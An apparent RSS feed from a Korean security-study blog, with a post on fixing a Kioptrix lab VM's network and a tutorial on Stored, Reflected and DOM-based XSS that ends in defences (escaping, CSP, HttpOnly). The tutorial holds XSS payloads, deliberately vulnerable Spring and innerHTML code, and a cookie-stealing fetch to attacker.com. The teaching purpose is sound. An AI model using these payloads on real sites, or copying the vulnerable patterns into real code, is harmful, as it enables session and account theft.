<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Whying's</title>
    <link>https://intioib.tistory.com/</link>
    <description>애매하고 싶지 않은 개발 일상 블로거</description>
    <language>ko</language>
    <pubDate>Sun, 9 Aug 2026 06:39:50 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>와잉</managingEditor>
    <image>
      <title>Whying's</title>
      <url>https://tistory1.daumcdn.net/tistory/5232324/attach/e7366594b8ed4546adb8942412155e95</url>
      <link>https://intioib.tistory.com</link>
    </image>
    <item>
      <title>[오류] Kioptirx eth0 Failed</title>
      <link>https://intioib.tistory.com/48</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Kioptirx를 NAT로 설정해주고 들어갈 때 eth0 에 대해서 Failed 오류가 계속 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 해결 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1785068906805&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Reddit의 netsecstudents 커뮤니티: Kioptrix VM Set Up Issues&quot; data-og-description=&quot;netsecstudents 커뮤니티에서 이 게시물을 비롯한 다양한 콘텐츠를 살펴보세요&quot; data-og-host=&quot;www.reddit.com&quot; data-og-source-url=&quot;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&quot; data-og-url=&quot;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bb9ijG/dJMb8WMDoeE/U0zUjrHvOfPC2Ift7FM7H0/img.jpg?width=1120&amp;amp;height=584&amp;amp;face=0_0_1120_584,https://scrap.kakaocdn.net/dn/cwjcf9/dJMb8WMDoeD/Cn7wZlkN0qLA9BQ3wKCKzk/img.jpg?width=1120&amp;amp;height=584&amp;amp;face=0_0_1120_584&quot;&gt;&lt;a href=&quot;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bb9ijG/dJMb8WMDoeE/U0zUjrHvOfPC2Ift7FM7H0/img.jpg?width=1120&amp;amp;height=584&amp;amp;face=0_0_1120_584,https://scrap.kakaocdn.net/dn/cwjcf9/dJMb8WMDoeD/Cn7wZlkN0qLA9BQ3wKCKzk/img.jpg?width=1120&amp;amp;height=584&amp;amp;face=0_0_1120_584');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Reddit의 netsecstudents 커뮤니티: Kioptrix VM Set Up Issues&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;netsecstudents 커뮤니티에서 이 게시물을 비롯한 다양한 콘텐츠를 살펴보세요&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.reddit.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Kioptix Level 1.vmx 메모장으로 편집&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ethernet0.networkName = &quot;Nat&quot; (얘는 영향이 있는지 모르겠다..!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ethernet0.connectionType = &quot;nat&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bridged에서 nat로 수정해줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다시 올리면 칼리에서 arp-scan -l 을 해줬을 때 해당 IP가 잡히는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nmap도 돌려보면 잘 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVc72x/dJMcajprZAE/luZZ2WrdCz2vr7BNNe8C61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVc72x/dJMcajprZAE/luZZ2WrdCz2vr7BNNe8C61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVc72x/dJMcajprZAE/luZZ2WrdCz2vr7BNNe8C61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVc72x%2FdJMcajprZAE%2FluZZ2WrdCz2vr7BNNe8C61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;147&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+ 다시 메모장으로 열면&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ethernet0.connectionType = &quot; bridged&quot; 로 변경되어 있는 것을 볼 수 있지만, 아직 문제는 없는 것 같다..!&lt;/p&gt;</description>
      <category>IT/보안</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/48</guid>
      <comments>https://intioib.tistory.com/48#entry48comment</comments>
      <pubDate>Sun, 26 Jul 2026 21:40:48 +0900</pubDate>
    </item>
    <item>
      <title>[보안] XSS 공격(Stored, Reflected, DOM based)</title>
      <link>https://intioib.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;s&gt;면접에서 XSS 관련 질문을 받고 대답을 잘 못해서 정리하는 글입니다.&lt;/s&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;XSS란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS(Cross Site Scripting)는 웹 애플리케이션에서 사용자 입력값을 적절히 검증하거나 이스케이프 처리하지 않았을 때 발생하는 대표적인 웹 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되도록 만들 수 있으며, 이를 통해 다음과 같은 공격이 가능하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쿠키 및 세션 탈취&lt;/li&gt;
&lt;li&gt;사용자 계정 탈취&lt;/li&gt;
&lt;li&gt;악성 사이트 리다이렉트&lt;/li&gt;
&lt;li&gt;키로깅(Key Logging)&lt;/li&gt;
&lt;li&gt;관리자 권한 악용&lt;/li&gt;
&lt;li&gt;악성 스크립트 전파&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 스크립트가 어디에 저장되고 어떻게 실행되는지에 따라 다음과 같이 구분된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Stored XSS&lt;/li&gt;
&lt;li&gt;Reflected XSS&lt;/li&gt;
&lt;li&gt;DOM Based XSS&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;1. Stored XSS&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS는 공격자가 입력한 악성 스크립트가 &lt;b&gt;서버(DB 등)에 저장&lt;/b&gt;되고, 이후 다른 사용자가 해당 페이지를 조회할 때 스크립트가 실행되는 공격 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판, 댓글, 채팅, 프로필 소개글 등 사용자 입력을 저장하는 기능에서 자주 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특징은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 스크립트가 서버에 저장됨&lt;/li&gt;
&lt;li&gt;다른 사용자가 페이지를 조회할 때 자동 실행됨&lt;/li&gt;
&lt;li&gt;다수 사용자 대상 공격 가능&lt;/li&gt;
&lt;li&gt;영향도가 큰 경우가 많음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS 공격 흐름&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 게시글/댓글 등에 악성 스크립트 입력&lt;/li&gt;
&lt;li&gt;서버가 입력값 검증 없이 DB에 저장&lt;/li&gt;
&lt;li&gt;사용자가 게시글 조회&lt;/li&gt;
&lt;li&gt;브라우저가 저장된 스크립트를 실행&lt;/li&gt;
&lt;li&gt;세션 탈취 또는 악성 행위 수행&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS 페이로드 예시&lt;/h2&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키 탈취 예시:&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;fetch('&amp;lt;a href=https://attacker.com/steal?cookie='&amp;gt;https://attacker.com/steal?cookie='&amp;lt;/a&amp;gt; + document.cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 태그 이벤트 핸들러 사용 예시:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;&amp;lt;img src=x onerror=alert('XSS')&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS 취약 코드 예시&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 서버 코드 (Spring)&lt;/h3&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;@PostMapping(&quot;/write&quot;)
public String write(@RequestParam String content) {
    boardRepository.save(new Board(content));
    return &quot;redirect:/list&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 화면 출력 코드&lt;/h3&gt;
&lt;pre class=&quot;dust&quot;&gt;&lt;code&gt;&amp;lt;div th:utext=&quot;${board.content}&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;th:utext는 HTML 이스케이프를 수행하지 않기 때문에 사용자 입력이 그대로 렌더링된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 공격자가 다음 내용을 저장하면:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('Stored XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사용자가 게시글 조회 시 스크립트가 실행된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;2. Reflected XSS&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS는 사용자 입력값이 서버 응답에 즉시 반영될 때 발생하는 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS와 달리 &lt;b&gt;서버(DB)에 저장되지 않으며&lt;/b&gt;, 일반적으로 URL 파라미터를 통해 공격이 수행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색 기능, 에러 메시지 페이지 등에서 자주 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특징은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력값이 서버 응답에 즉시 반영됨&lt;/li&gt;
&lt;li&gt;DB 등에 저장되지 않음&lt;/li&gt;
&lt;li&gt;사용자가 악성 링크를 클릭해야 함&lt;/li&gt;
&lt;li&gt;피싱 공격과 함께 자주 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS 공격 흐름&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 악성 스크립트가 포함된 URL 생성&lt;/li&gt;
&lt;li&gt;피해자에게 링크 전달&lt;/li&gt;
&lt;li&gt;피해자가 링크 클릭&lt;/li&gt;
&lt;li&gt;서버가 입력값을 그대로 응답 페이지에 포함&lt;/li&gt;
&lt;li&gt;브라우저에서 스크립트 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS 페이로드 예시&lt;/h2&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('Reflected XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 인코딩 예시:&lt;/p&gt;
&lt;pre class=&quot;perl&quot;&gt;&lt;code&gt;http://victim.com/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이벤트 핸들러 기반 우회 예시:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;&amp;lt;img src=x onerror=alert(document.cookie)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS 취약 코드 예시&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 서버 코드 (Spring)&lt;/h3&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;@GetMapping(&quot;/search&quot;)
@ResponseBody
public String search(@RequestParam String keyword) {
    return &quot;검색어: &quot; + keyword;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 URL:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;/search?keyword=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 응답:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;검색어: &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 해당 스크립트를 실행하게 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;3. DOM Based XSS&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DOM Based XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM Based XSS는 서버 응답 자체는 안전하지만, &lt;b&gt;클라이언트 측&lt;/b&gt; JavaScript가 DOM을 조작하는 과정에서 발생하는 XSS이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 취약점이 서버가 아닌 &lt;b&gt;브라우저의 JavaScript 로직에 존재&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 다음과 같은 값이 위험하게 사용될 때 발생한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;location.href&lt;/li&gt;
&lt;li&gt;location.search&lt;/li&gt;
&lt;li&gt;document.URL&lt;/li&gt;
&lt;li&gt;document.referrer&lt;/li&gt;
&lt;li&gt;window.name&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특징은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 응답에는 악성 스크립트가 없음&lt;/li&gt;
&lt;li&gt;브라우저의 JavaScript가 DOM을 조작하며 발생&lt;/li&gt;
&lt;li&gt;프론트엔드 코드에서 자주 발생&lt;/li&gt;
&lt;li&gt;SPA(Single Page Application) 환경에서도 빈번함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DOM Based XSS 공격 흐름&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 악성 스크립트가 포함된 URL 생성&lt;/li&gt;
&lt;li&gt;피해자가 URL 접속&lt;/li&gt;
&lt;li&gt;브라우저 JavaScript가 URL 값을 읽음&lt;/li&gt;
&lt;li&gt;innerHTML 등으로 DOM에 삽입&lt;/li&gt;
&lt;li&gt;스크립트 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DOM Based XSS 페이로드 예시&lt;/h2&gt;
&lt;pre class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot;&gt;&lt;code&gt;http://victim.com/#&amp;lt;img src=x onerror=alert('DOM XSS')&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는:&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;http://victim.com/?q=alert(document.cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DOM Based XSS 취약 코드 예시&lt;/h2&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;result&quot;&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
const keyword = location.hash.substring(1);
document.getElementById(&quot;result&quot;).innerHTML = keyword;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 URL:&lt;/p&gt;
&lt;pre class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot;&gt;&lt;code&gt;http://victim.com/#&amp;lt;img src=x onerror=alert('XSS')&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저 동작 결과:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;result&quot;&amp;gt;
  &amp;lt;img src=x onerror=alert('XSS')&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로 브라우저에서 스크립트가 실행된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS와 DOM Based XSS 차이&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;구분&lt;/td&gt;
&lt;td&gt;Reflected XSS&lt;/td&gt;
&lt;td&gt;DOM Based XSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약 위치&lt;/td&gt;
&lt;td&gt;서버&lt;/td&gt;
&lt;td&gt;클라이언트(JavaScript)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;응답 페이지&lt;/td&gt;
&lt;td&gt;서버 응답에 악성 스크립트 포함&lt;/td&gt;
&lt;td&gt;서버 응답은 정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 원인&lt;/td&gt;
&lt;td&gt;서버가 입력값을 그대로 반환&lt;/td&gt;
&lt;td&gt;JS가 DOM 조작 중 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;주요 원인&lt;/td&gt;
&lt;td&gt;출력값 검증 부족&lt;/td&gt;
&lt;td&gt;innerHTML 등 위험한 DOM API 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 Reflected XSS는:&lt;/p&gt;
&lt;pre class=&quot;gauss&quot;&gt;&lt;code&gt;return &quot;검색어: &quot; + keyword;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처럼 서버 응답이 직접 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면 DOM Based XSS는:&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;element.innerHTML = location.hash;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처럼 브라우저 JavaScript 로직이 문제다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;4. 개선 방안(대응 방법)&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 단순히 입력값만 막는다고 해결되지 않는다.&lt;br /&gt;입력 검증(Input Validation), 출력 인코딩(Output Encoding), 브라우저 보안 정책 등을 함께 적용해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1) 출력 시 HTML 이스케이프 적용&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 중요한 대응 방법이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;안전한 예시 (Thymeleaf)&lt;/h3&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;&amp;lt;div th:text=&quot;${content}&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;th:text는 HTML 특수문자를 자동 이스케이프 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 결과:&lt;/p&gt;
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;alert('XSS')&amp;amp;lt;/script&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 스크립트가 아닌 문자열로 인식한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2) innerHTML 사용 지양&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;위험한 코드&lt;/h3&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;element.innerHTML = userInput;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;안전한 코드&lt;/h3&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;element.textContent = userInput;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는:&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;element.innerText = userInput;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;textContent는 HTML을 해석하지 않고 문자열로 처리한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3) 입력값 검증(Input Validation)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값에 대해 허용 가능한 문자만 받도록 제한한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 태그 제거&lt;/li&gt;
&lt;li&gt;스크립트 키워드 차단&lt;/li&gt;
&lt;li&gt;특수문자 제한&lt;/li&gt;
&lt;li&gt;&lt;b&gt;화이트리스트&lt;/b&gt; 기반 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 입력값 검증만으로 XSS를 완전히 막을 수는 없으며 반드시 출력 인코딩과 함께 사용해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4) Content Security Policy(CSP) 적용&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP는 브라우저에서 실행 가능한 스크립트 출처를 제한하는 보안 정책이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;pre class=&quot;csp&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self'
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;효과:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부 악성 스크립트 차단&lt;/li&gt;
&lt;li&gt;inline script 제한 가능&lt;/li&gt;
&lt;li&gt;XSS 피해 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5) HttpOnly 쿠키 설정&lt;/h2&gt;
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;Set-Cookie: JSESSIONID=abc123; HttpOnly; Secure
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HttpOnly를 설정하면 JavaScript에서 쿠키 접근이 불가능해져 쿠키 탈취 위험을 줄일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, XSS 자체를 막는 것은 아니며 피해를 줄이는 보조 수단이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6) 최신 프레임워크 보안 기능 활용&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React, Vue, Thymeleaf 등은 기본적으로 출력 이스케이프 기능을 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 다음과 같은 기능은 여전히 위험하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;React: dangerouslySetInnerHTML&lt;/li&gt;
&lt;li&gt;Thymeleaf: th:utext&lt;/li&gt;
&lt;li&gt;Vue: v-html&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 시 반드시 검증된 데이터만 렌더링해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;마무리&lt;/h1&gt;
